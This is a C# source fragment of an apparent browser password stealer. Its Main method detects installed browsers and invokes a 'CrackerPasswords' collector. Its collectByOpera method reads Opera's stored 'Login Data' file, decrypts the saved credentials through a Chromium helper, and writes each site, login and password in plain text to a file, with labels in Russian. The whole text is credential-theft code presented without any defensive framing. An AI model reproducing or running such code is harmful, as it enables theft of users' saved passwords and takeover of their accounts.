static void Main(string[] args) { BrowserSearcher finder = new BrowserSearcher(); List <Browser> browsers = finder.DetectBrowsers(); CrackerPasswords cracker = new CrackerPasswords(); cracker.CollectPasswords(browsers); Console.WriteLine(String.Join(",", browsers.Select(x => x.ToString()).ToArray())); Console.ReadKey(); }
private void collectByOpera() { try { string filePath = BrowserSearcher.GetPathToBrowsers(); filePath = String.Concat(filePath, @"\AppData\Roaming\Opera Software\Opera Stable\Login Data"); List <ChromePass> chrome = ChromeKit.GetChromiumPasswords(filePath); StreamWriter sw = new StreamWriter(fileName, true, Encoding.UTF8); sw.WriteLine("------------------------Opera-----------------------------"); foreach (var pair in chrome) { sw.WriteLine($"Хост: {pair.Url}; Логин: {pair.Login}; Пароль: {pair.Password}"); } sw.WriteLine("------------------------END-----------------------------"); sw.Close(); } catch (Exception e) { Console.WriteLine(e.Message); } return; }